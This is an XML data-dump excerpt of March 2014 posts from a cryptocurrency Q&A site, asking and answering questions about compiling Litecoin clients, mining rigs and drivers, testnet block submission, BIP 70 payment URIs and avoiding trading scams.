  <row Id="23724" PostTypeId="1" CreationDate="2014-03-19T13:31:39.233" Score="1" ViewCount="3801" Body="&lt;p&gt;I'd like to compile Litecoin for Windows, but have difficulties doing so. To be specific: I want to create the Windows executable (.exe) GUI (qt) Litecoin client (to be more specific I want to compile the executable for an alt-coin based on litecoin, but the code base is the same as litecoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many tutorials are either focused on compiling for Linux, or they focus on Bitcoin compiling, which is a bit different nowadays than Litecoin. Rather than explaining my specific problems, which are likely unique to my situation, I was wondering what a recommended Operating System (and version) is to compile Litecoin? Who has specific (preferably smooth) experience building the GUI litecoin client for Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A useful relevant topic is this one:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=149479.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=149479.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is based on bitcoin, not litecoin. &lt;a href=&quot;http://andarazoroflove.org/how-to-create-alt-coin-scrypt-clones-for-fun-and-profit-bitcoin-litecoin-secrets-exposed/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; referenced tutorial has a bit on Windows, but it's not too optimistic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Windows -Qt&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is the trickiest one to crack of the GUI wallets. I am going to&#xA;  detail how I got this to work and offer you an easy way to get the&#xA;  dependencies in an attempt to make this work for you too. That said,&#xA;  it may not–and I’ve already said I won’t do tech support. So here’s&#xA;  the deal. I got this to work and then duplicated it on a second&#xA;  machine to ensure it wasn’t a fluke! Most of the information needed to&#xA;  compile the basic coind.exe or GUI wallet is in this thread:&#xA;  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=149479.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=149479.0&lt;/a&gt; Unfortunately nothing&#xA;  is as easy as it seems, and although the MinGW and QT installs went&#xA;  fine, I couldn’t compile it without a few tweaks to the .pro file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this tutorial, Windows is used to create the executable, but I understand one can also use Linux to create Windows executables, right? There are few experiences documenting successful or smooth compiling of Litecoin (forks) for Windows, so I was wondering if people do have good experiences doing so and what kind of OS or approach they used. &lt;/p&gt;&#xA;" OwnerUserId="13827" LastEditorUserId="13827" LastEditDate="2014-03-29T15:31:20.730" LastActivityDate="2014-07-29T00:56:40.910" Title="What is the recommended OS for compiling a Windows binary for Litecoin?" Tags="|litecoin|compiling|litecoin-qt|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23725" PostTypeId="2" ParentId="17057" CreationDate="2014-03-19T14:32:32.467" Score="-2" Body="&lt;p&gt;you have to patch it first before building the package;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;patch -p1 &amp;lt; debian/patches/bfgminer-bitforce.diff&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14641" LastEditorUserId="11369" LastEditDate="2014-03-19T18:37:11.387" LastActivityDate="2014-03-19T18:37:11.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23729" PostTypeId="1" AcceptedAnswerId="23734" CreationDate="2014-03-19T15:54:01.747" Score="0" ViewCount="172" Body="&lt;p&gt;I am a modest follower of Bitcoins and other Altcoins though recently i was scammed by few fake and fraudulent online buyers in a few days time when trading for Bitcoins.I never been scammed for any other currency ever so far over the internet and i am a very active online user but didn't have good experience with Bitcoins.All suggestions will be highly appreciated about how to escape from BTC scams Online as BTC is the X-Generation currency and i love it too.&lt;/p&gt;&#xA;" OwnerUserId="14654" LastActivityDate="2014-03-19T16:17:50.493" Title="What precautions should i do to avoid being scammed for Bitcoins?" Tags="|trade|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23734" PostTypeId="2" ParentId="23729" CreationDate="2014-03-19T16:17:50.493" Score="0" Body="&lt;p&gt;Always be alert and take the IP address and other social media details of the buyers before making any trade or exchange.Use middleman services and also trade with trusted buyers on regular basis.Never go first with new buyers.Many more.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2014-03-19T16:17:50.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23736" PostTypeId="1" CreationDate="2014-03-19T17:23:51.013" Score="1" ViewCount="134" Body="&lt;p&gt;I'm trying to submit blocks to the Litecoin Testnet, however everything gets rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got my raw value as&#xA;&lt;code&gt;000000026af779be9f0cdadfa71cc8fff6b0dac590fc3cc511f78523c40100a16147d5f478f8bdae4d3f1a8f58a0872248c98794b525ce18dd7d2ce6a905db27a368794e5329d0c31d502b23007b9f7e&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which hashed and reversed becomes&#xA;&lt;code&gt;000000026ccd88a7df4a643e7fb4a27301a36f750e94d6cb4c9dce5736f35783&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be enough to work on testnet. Diff checks out fine.&#xA;Since there are no transactions at the moment, I get &lt;code&gt;0 transactions&lt;/code&gt; in my merkle tree, which should result in a &lt;code&gt;00&lt;/code&gt; as the amount of transactions, and a total of &lt;code&gt;5000000000&lt;/code&gt; satoshi as output value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I add&#xA;&lt;code&gt;raw + count + outvalue&lt;/code&gt; and submit, I get &quot;rejected&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0022&quot; rel=&quot;nofollow&quot;&gt;BIP_0022&lt;/a&gt;, which gives an overview of the error messages, it says &lt;code&gt;rejected: a generic rejection without details&lt;/code&gt;. That doesn't help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="13410" LastEditorUserId="5406" LastEditDate="2014-03-19T18:39:20.040" LastActivityDate="2014-03-19T18:39:20.040" Title="Submitted blocks get rejected on Litecoin testnet" Tags="|bitcoin-core|litecoin|block|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23740" PostTypeId="1" CreationDate="2014-03-19T19:50:00.920" Score="2" ViewCount="1771" Body="&lt;p&gt;I built the following rig:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;5x SAPPHIRE TRI-X R9 280X 3GB GDDR5 OC (UEFI)&lt;/li&gt;&#xA;&lt;li&gt;1x AeroCool Templarius Imperator 1150W 80 Plus Gold&lt;/li&gt;&#xA;&lt;li&gt;1x HighPower Tech 1200w Gold Plus (HP-1200-G14C-GOLD)&lt;/li&gt;&#xA;&lt;li&gt;1x Asrock H61 Pro BTC  Mother board&lt;/li&gt;&#xA;&lt;li&gt;1x W.D Caviar Green 500GB SATA III HDD&lt;/li&gt;&#xA;&lt;li&gt;1x Kingston KHX1600C9D3B1/4G&lt;/li&gt;&#xA;&lt;li&gt;6x Powered risers 1x 16x&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I Installed Windows 8.1 and plugged one GPU. It automatically installed the Radeon HD 7990 driver. Then connected the second GPU and followed the same process with the other GPUs. Everything works fine for 5 GPUs. But for the sixth one, it won't install the driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hQCLg.jpg&quot; alt=&quot;5 gpu drivers installed, 6th one not&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to update the driver of the sixth one but it says that the last driver is already installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastEditorUserId="5406" LastEditDate="2016-02-21T16:06:40.327" LastActivityDate="2016-02-21T16:06:40.327" Title="6 x GPU mining rig only installs drivers for 5" Tags="|windows|gpu-mining|miner-configuration|amd|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23741" PostTypeId="1" CreationDate="2014-03-19T20:50:28.843" Score="1" ViewCount="1017" Body="&lt;p&gt;When compiling bitcoin-qt on windows I get through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qmake &quot;USE_UPNP=-&quot; bitcoin-qt.pro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f Makefile.Release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ld.exe: cannot find -ldb_cxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I am pretty sure is the Berkeley DB.  So I went into C:\deps\db-4.8.30.NC\build_unix and found db_cxx.h and added the path to the PATH before trying again only to fail&lt;/p&gt;&#xA;" OwnerUserId="14688" LastEditorUserId="5406" LastEditDate="2014-10-03T12:27:45.860" LastActivityDate="2014-10-03T12:27:45.860" Title="When compiling qt ld.exe: cannot find -ldb_cxx" Tags="|bitcoin-qt-setup|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23742" PostTypeId="1" CreationDate="2014-03-19T21:02:05.910" Score="4" ViewCount="1839" Body="&lt;p&gt;I'm trying my hands on a trading bot, but I need a website to pull trade data for min. the last 3 days. This can be from any major exchange. Eg. the exact same as this:&#xA;&lt;a href=&quot;https://www.bitstamp.net/api/transactions/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/api/transactions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this only allows retrieval of transactions max. 1 hour old (or am I wrong?)&lt;/p&gt;&#xA;" OwnerUserId="14689" LastEditorUserId="11369" LastEditDate="2014-03-20T21:01:48.070" LastActivityDate="2018-04-05T06:04:56.423" Title="Getting historic exchange data through an API" Tags="|api|exchange-rate|raw-data|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23743" PostTypeId="1" CreationDate="2014-03-19T21:17:36.103" Score="2" ViewCount="125" Body="&lt;p&gt;As anyone who has looked at the bitcoin protocol in depth can tell, it is really a huge mess of different encodings, hashing styles, and endian conversions. Although it would be a fairly cosmetic change, are there any projects out there to attempt to rewrite bitcoin and it's protocols to be more consistent and easier to maintain for the developers? (yes, I know it would have to be it's own coin or whatever) &lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2014-05-22T21:58:36.570" Title="Has anyone attempted to rewrite the bitcoin software and protocol?" Tags="|protocol|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23744" PostTypeId="1" CreationDate="2014-03-19T21:27:49.597" Score="0" ViewCount="396" Body="&lt;p&gt;I need an bitcoin exchange api implemented in my website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there will be one way transactions money-&gt;bitcoin and it needs to support major credit cards (visa,mastercard) as well as paypal and google wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you recomend me a such api which works with php/js?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14690" LastActivityDate="2014-03-20T16:02:44.177" Title="Bitcoin Exchange Api" Tags="|exchanges|development|api|buy-bitcoins|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-21T12:05:08.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="23746" PostTypeId="2" ParentId="19198" CreationDate="2014-03-19T22:51:17.653" Score="1" Body="&lt;p&gt;Here are calculators for &lt;a href=&quot;http://anty.info/primecoin-calculator/&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; and &lt;a href=&quot;http://www.coinwarz.com/calculators/quark-mining-calculator&quot; rel=&quot;nofollow&quot;&gt;Quark&lt;/a&gt;. I also found one for &lt;a href=&quot;http://agran.net/memorycoin2_calc.html&quot; rel=&quot;nofollow&quot;&gt;Memorycoin&lt;/a&gt;, another CPU coin.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-19T22:51:17.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23747" PostTypeId="1" AcceptedAnswerId="23755" CreationDate="2014-03-19T22:52:01.080" Score="1" ViewCount="559" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki#Protocol&quot; rel=&quot;nofollow&quot;&gt;BIP 0070&lt;/a&gt; (the payment protocol) is included in Bitcoin-core 0.9.0. The main idea behind it is to simplify the sending of bitcoins to a service by making it a more p2p thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this, from the user's perspective, how would this work? Does a website give me a link or button to click and then I authorize a payment?&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="2306" LastEditDate="2014-12-13T05:52:55.190" LastActivityDate="2014-12-13T05:52:55.190" Title="How does BIP 0070 work for me, the user?" Tags="|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23748" PostTypeId="1" CreationDate="2014-03-19T22:58:55.620" Score="0" ViewCount="2301" Body="&lt;p&gt;I started using pooler cpuminer v 2.3.3 yesterday and it works.&#xA;Today, it doesn't. I have no idea what the problem is, when I open the batch file, the minerd file disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my command line thing:&#xA;&lt;a href=&quot;http://pastebin.com/DyqstLrn&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/DyqstLrn&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The thing that was causing the problem was Malwarebytes Anti-Malware. It works fine now, thanks for every one's support!&lt;/p&gt;&#xA;" OwnerUserId="14693" LastEditorUserId="14693" LastEditDate="2014-03-20T00:44:58.693" LastActivityDate="2014-03-20T00:44:58.693" Title="minerd disappears when i try to launch it with a batch file?" Tags="|litecoin|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23749" PostTypeId="2" ParentId="23724" CreationDate="2014-03-19T22:59:25.727" Score="-1" Body="&lt;p&gt;I have compiled litecoin-qt on Ubuntu 12.04 before. First install the necessary packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install qt4-qmake libqt4-dev build-essential libboost1.48-all-dev libssl-dev libdb++-dev libminiupnpc-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the directory of the litecoin source code, run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qmake&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you're done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the compiled file is a Linux binary, so you'll have to use it on Linux. As far as I know, trying to compile a Windows binary on Linux would be even harder than just compiling it on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: This answer was posted before the question was clarified.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="13700" LastEditDate="2014-03-30T20:00:21.967" LastActivityDate="2014-03-30T20:00:21.967" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23750" PostTypeId="2" ParentId="23748" CreationDate="2014-03-19T23:14:08.540" Score="2" Body="&lt;p&gt;This is probably your antivirus either deleting or quarantining it.  Depending on your antivirus, you need to manually trust minerd.exe and/or restore it from quarantine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Norton 360.  To unquarantine with Norton&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Norton&lt;/li&gt;&#xA;&lt;li&gt;Click tasks at the top&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Check Security History&quot; on the left&lt;/li&gt;&#xA;&lt;li&gt;Find minerd.exe, it might be easier to re-extract or re-download&lt;/li&gt;&#xA;&lt;li&gt;Click more details&lt;/li&gt;&#xA;&lt;li&gt;Click restore at the bottom&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Comment and I will try for other antiviruses&lt;/p&gt;&#xA;" OwnerUserId="14688" LastActivityDate="2014-03-19T23:14:08.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23752" PostTypeId="1" CreationDate="2014-03-20T00:00:27.703" Score="1" ViewCount="723" Body="&lt;p&gt;To prove a transaction is valid, you must prove that the source address has a balance at least as much as the transaction. How does one prove this in a performant manner? The block chain of bitcoin last I checked is 16G. Surely miners don't scan through 16G of data to check every block to track all transactions that address has ever had. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do miners and clients speed this up to a fast and cheap operation? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-31T16:25:56.533" LastActivityDate="2016-03-31T16:25:56.533" Title="How do miners/clients prove a transaction is valid?" Tags="|transaction-verification|utxo|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-21T03:55:12.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="23753" PostTypeId="2" ParentId="23752" CreationDate="2014-03-20T00:07:46.170" Score="3" Body="&lt;p&gt;Bitcoin doesn't work on balances, it works on transaction inputs and outputs. A transaction's inputs must specify unspent transaction outputs (UTXO) of previous transactions. And clients maintain an index of UTXO to easily find the referenced outputs.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-03-20T00:07:46.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23755" PostTypeId="2" ParentId="23747" CreationDate="2014-03-20T00:49:34.863" Score="5" Body="&lt;p&gt;Right now with &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0021.mediawiki&quot;&gt;bip-0021&lt;/a&gt; it is possible to define bitcoin URIs to make payments like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:1JfzSVJV44AALQrNrLCehznQLvbhUcr5mB?label=tip-erasmospunk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if you put this URI in an HTML anchor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;bitcoin:1JfzSVJV44AALQrNrLCehznQLvbhUcr5mB?label=tip-erasmospunk&quot;&amp;gt;tip me!!!&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and click it the bitcoin wallet opens and it is preloaded with my bitcoin address together with the label &quot;tip-erasmospunk&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the problems with this approach is that when I pay, it will take many seconds until the transaction propagates properly in the bitcoin network and the merchant receives it (we are talking only about the merchant seeing the transaction, not about conformation that can take many minutes). So if you want to pay the metro ticket, you need to do it as fast as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0072.mediawiki&quot;&gt;bip0072&lt;/a&gt; the above URI scheme is extended with the &lt;code&gt;r&lt;/code&gt; parameter that points to the merchant's server. The wallet ignores the other parameters (address, label, etc) and speaks with the server by using the bip-0070 Payment Protocol. This protocol allows the merchant to receive your signed transaction directly from you and confirm the transaction faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The faster transaction times are one of the benefits, here is the full list:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Human-readable, secure payment destinations-- customers will be asked to authorize payment to &quot;website.com&quot; instead of an inscrutable, 34-character bitcoin address.&lt;/li&gt;&#xA;&lt;li&gt;Secure proof of payment, which the customer can use in case of a dispute with the merchant.&lt;/li&gt;&#xA;&lt;li&gt;Resistance from man-in-the-middle attacks that replace a merchant's bitcoin address with an attacker's address before a transaction is authorized with a hardware wallet.&lt;/li&gt;&#xA;&lt;li&gt;Payment received messages, so the customer knows immediately that the merchant has received, and has processed (or is processing) their payment.&lt;/li&gt;&#xA;&lt;li&gt;Refund addresses, automatically given to the merchant by the customer's wallet software, so merchants do not have to contact customers before refunding overpayments or orders that cannot be fulfilled for some reason.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2014-03-20T00:49:34.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23759" PostTypeId="2" ParentId="23740" CreationDate="2014-03-20T04:23:07.020" Score="1" Body="&lt;p&gt;(since I can't comment) I had this problem too about a month ago. Try using AMD Catalyst to install the drivers. &lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2014-03-20T04:23:07.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23760" PostTypeId="1" AcceptedAnswerId="23762" CreationDate="2014-03-20T05:04:58.013" Score="5" ViewCount="712" Body="&lt;p&gt;I am focusing on an anti scrypt coin called Vertcoin which increases it's N-factor at a set interval. On their main page on bitcointalk it states that CPU computation will make gains as N-factor (memory requirements) increase. Can anyone explain as to how this is possible if the memory requirements can reach to &gt; 4gb&lt;/p&gt;&#xA;" OwnerUserId="13388" LastEditorUserId="5406" LastEditDate="2016-04-17T19:08:34.870" LastActivityDate="2016-04-17T19:08:34.870" Title="Does CPU mining become efficient as memory requirements increase?" Tags="|scrypt|algorithms|cpu|altcoin-development|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23761" PostTypeId="1" AcceptedAnswerId="23830" CreationDate="2014-03-20T05:18:18.670" Score="0" ViewCount="351" Body="&lt;p&gt;I'm trying to figure out how I'd submit a block in many alt-coins. I originally found this issue in bbqcoin but have since found it in many others. I have bbqcoin (and others) installed from gihub source on Ubuntu 12.04.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ubuntu-hp:~# bbqcoind help&#xA;addmultisigaddress &amp;lt;nrequired&amp;gt; &amp;lt;'[&quot;key&quot;,&quot;key&quot;]'&amp;gt; [account]&#xA;backupwallet &amp;lt;destination&amp;gt;&#xA;dumpprivkey &amp;lt;bbqcoinaddress&amp;gt;&#xA;encryptwallet &amp;lt;passphrase&amp;gt;&#xA;getaccount &amp;lt;bbqcoinaddress&amp;gt;&#xA;getaccountaddress &amp;lt;account&amp;gt;&#xA;getaddressesbyaccount &amp;lt;account&amp;gt;&#xA;getbalance [account] [minconf=1]&#xA;getblock &amp;lt;hash&amp;gt; [decompositions]&#xA;getblockcount&#xA;getblockhash &amp;lt;index&amp;gt;&#xA;getconnectioncount&#xA;getdifficulty&#xA;getgenerate&#xA;gethashespersec&#xA;getinfo&#xA;getmemorypool [data]&#xA;getmininginfo&#xA;getnetworkhashps [blocks]&#xA;getnewaddress [account]&#xA;getpeerinfo&#xA;getrawmempool&#xA;getreceivedbyaccount &amp;lt;account&amp;gt; [minconf=1]&#xA;getreceivedbyaddress &amp;lt;bbqcoinaddress&amp;gt; [minconf=1]&#xA;gettransaction &amp;lt;txid&amp;gt; [decompositions]&#xA;getwork [data]&#xA;getworkex [data, coinbase]&#xA;help [command]&#xA;importprivkey &amp;lt;bbqcoinprivkey&amp;gt; [label]&#xA;keypoolrefill&#xA;listaccounts [minconf=1]&#xA;listreceivedbyaccount [minconf=1] [includeempty=false]&#xA;listreceivedbyaddress [minconf=1] [includeempty=false]&#xA;listsinceblock [blockhash] [target-confirmations]&#xA;listtransactions [account] [count=10] [from=0]&#xA;move &amp;lt;fromaccount&amp;gt; &amp;lt;toaccount&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment]&#xA;sendfrom &amp;lt;fromaccount&amp;gt; &amp;lt;tobbqcoinaddress&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment] [comment-to]&#xA;sendmany &amp;lt;fromaccount&amp;gt; {address:amount,...} [minconf=1] [comment]&#xA;sendrawtx &amp;lt;hex string&amp;gt;&#xA;sendtoaddress &amp;lt;bbqcoinaddress&amp;gt; &amp;lt;amount&amp;gt; [comment] [comment-to]&#xA;setaccount &amp;lt;bbqcoinaddress&amp;gt; &amp;lt;account&amp;gt;&#xA;setgenerate &amp;lt;generate&amp;gt; [genproclimit]&#xA;setmininput &amp;lt;amount&amp;gt;&#xA;settxfee &amp;lt;amount&amp;gt;&#xA;signmessage &amp;lt;bbqcoinaddress&amp;gt; &amp;lt;message&amp;gt;&#xA;stop&#xA;validateaddress &amp;lt;bbqcoinaddress&amp;gt;&#xA;verifymessage &amp;lt;bbqcoinaddress&amp;gt; &amp;lt;signature&amp;gt; &amp;lt;message&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best I can figure, the closest thing would be sendrawtx.. but that can't be right, can it? I'm thinking at this point I should have taken advantage of the checkout feature, but it's hard to tell what version each coin is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've found that many coins have this issue as described here: &lt;a href=&quot;https://github.com/Crypto-Expert/stratum-mining/issues/72&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Crypto-Expert/stratum-mining/issues/72&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looks like the solution is to build it yourself, there is a hail-mary workaround which might do the trick but is heavily undocumented. I found reference that you can submit a block through getblocktemplate, &lt;a href=&quot;https://github.com/moopless/stratum-mining-litecoin/issues/48&quot; rel=&quot;nofollow&quot;&gt;https://github.com/moopless/stratum-mining-litecoin/issues/48&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying with some data I go a json parse error.. has anyone used getblocktemplate submit?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="5406" LastEditDate="2016-04-10T10:28:01.507" LastActivityDate="2016-04-10T10:28:01.507" Title="No submitblock in altcoin?" Tags="|altcoin|bitcoin-core-development|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23762" PostTypeId="2" ParentId="23760" CreationDate="2014-03-20T07:01:18.933" Score="4" Body="&lt;p&gt;Currently, for a custom-built high-performance desktop, 16 GB of RAM (or even 32 GB) is typical, while one of the best GPUs, the &lt;a href=&quot;http://www.amd.com/us/products/desktop/graphics/7000/7990/Pages/radeon-7990.aspx&quot; rel=&quot;nofollow&quot;&gt;AMD Radeon HD 7990&lt;/a&gt;, has 6 GB of GDDR5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose the memory requirements were raised to 4 GB. That means that each thread will require 4 GB, so a CPU can mine on 4 threads at a time (16 / 4 = 4), while a GPU can only mine on 1 thread at a time (6 / 4 = 1.5, with greatest integer part 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrast this to the current requirement of 2 MB. A CPU is bottlenecked by the maximum number of threads it can do (even the very best Intel Xeons are typically capped at 32 threads), while a GPU with just 2 GB could easily do 1000 threads at once.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-20T07:01:18.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23763" PostTypeId="1" AcceptedAnswerId="23789" CreationDate="2014-03-20T09:12:17.037" Score="0" ViewCount="1541" Body="&lt;p&gt;I've recently reformatted my Mac, and reinstalled Hive. I have a back up to Dropbox option enabled in Hive, and my old bitcoin wallet file is there. But I cannot find any way to recover my old bitcoin wallet to my new installation. Being able to back up but not recover doesn't make much sense to me right now, can anyone help me with this process?&lt;/p&gt;&#xA;" OwnerUserId="14699" LastEditorUserId="15412" LastEditDate="2014-06-18T05:52:14.943" LastActivityDate="2022-03-12T10:25:52.023" Title="Recover a bitcoin wallet in Hive" Tags="|backup|hive|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23766" PostTypeId="2" ParentId="23715" CreationDate="2014-03-20T12:05:22.180" Score="1" Body="&lt;p&gt;This was already asked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10521/how-to-restore-a-ripple-wallet-having-the-security-key&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Following &lt;a href=&quot;http://www.btcpedia.com/create-new-ripple-wallet-with-secret-key/&quot; rel=&quot;nofollow noreferrer&quot;&gt;these instructions&lt;/a&gt;, after clicking on &lt;a href=&quot;https://ripple.com/client/#/register&quot; rel=&quot;nofollow noreferrer&quot;&gt;Create a new wallet&lt;/a&gt;,&#xA;  you will have the option of using a custom secret key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14701" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-03-20T12:05:22.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
